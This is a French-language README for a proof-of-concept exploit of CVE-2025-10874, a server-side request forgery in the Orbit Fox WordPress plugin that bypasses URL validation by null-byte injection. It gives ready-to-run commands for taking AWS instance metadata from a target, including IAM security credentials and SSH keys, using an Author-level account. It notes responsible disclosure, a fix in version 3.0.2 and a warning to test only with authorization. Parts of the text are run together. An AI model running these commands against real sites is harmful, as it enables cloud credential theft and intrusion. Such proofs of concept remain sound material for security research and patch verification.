
Démontre une SSRF avec contournement par injection d'octet nul pour CVE-2025-10874

Preuve de concept d'exploitation démontrant une vulnérabilité de type Server-Side Request Forgery (SSRF) dans le plugin WordPress Orbit Fox avec contournement par injection d'octet nul.
Article de blog détaillé : https://ryanmroth.com/articles/orbit-fox-ssrf
| Détail | Notes |
|---|
| ID CVE : | CVE-2025-10874 |
| Plugin concerné : | Orbit Fox par ThemeIsle |
| Type de vulnérabilité : | Server-Side Request Forgery (SSRF) (CWE-918) |
| Score CVSS : | 5.5 (moyen) |
| Privilèges requis : | Auteur+ (rôle Auteur WordPress ou supérieur |
| Version corrigée | 3.0.2+ |
La fonctionnalité d'import MyStock du plugin Orbit Fox contient une vulnérabilité SSRF qui permet aux utilisateurs authentifiés disposant de privilèges Auteur+ d'effectuer des requêtes HTTP arbitraires depuis le serveur WordPress. La vulnérabilité existe dans l'action AJAX handle-request-mystock-import, qui ne valide ni ne nettoie correctement les paramètres d'URL.
L'exploit exploite un contournement par injection d'octet nul (%00.txt) pour contourner la validation d'URL, permettant l'accès aux services de métadonnées internes, aux API des fournisseurs cloud et à d'autres ressources réseau accessibles depuis le serveur.
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequestsurllib3# Cloner le dépôt
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# Installer les dépendances (avec uv)
uv sync
# Ou avec pip
pip install requests urllib3
# Extraire le nom d'hôte de l'instance AWS (cible par défaut)
python orbit_fox_poc.py http://target.com -u author -p password123
# Spécifier une URL cible SSRF personnalisée
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# Extraire les identifiants du rôle IAM
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extraire la clé publique SSH
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# Tester sans contournement par octet nul (échouera sur les versions corrigées)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# Activer la sortie de débogage pour le dépannage
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
arguments positionnels :
target URL WordPress cible (ex. : http://example.com)
arguments requis :
-u, --username Nom d'utilisateur WordPress (rôle Auteur+ requis)
-p, --password Mot de passe WordPress
arguments optionnels :
-h, --help Afficher le message d'aide et quitter
-s, --ssrf-url URL à demander via SSRF
(défaut : http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte Désactiver le contournement par octet nul (tester le SSRF de base uniquement)
--debug Activer la sortie de débogage pour le dépannage
%00.txt à l'URL cible pour contourner la validationhandle-request-mystock-importadmin-ajax.php avec l'action handle-request-mystock-importCette vulnérabilité a été divulguée de manière responsable à l'éditeur et a été corrigée dans la version 3.0.2 d'Orbit Fox. Cette preuve de concept est fournie pour :
POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Les utilisateurs doivent :
L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.
Dernière mise à jour : 2025-10-06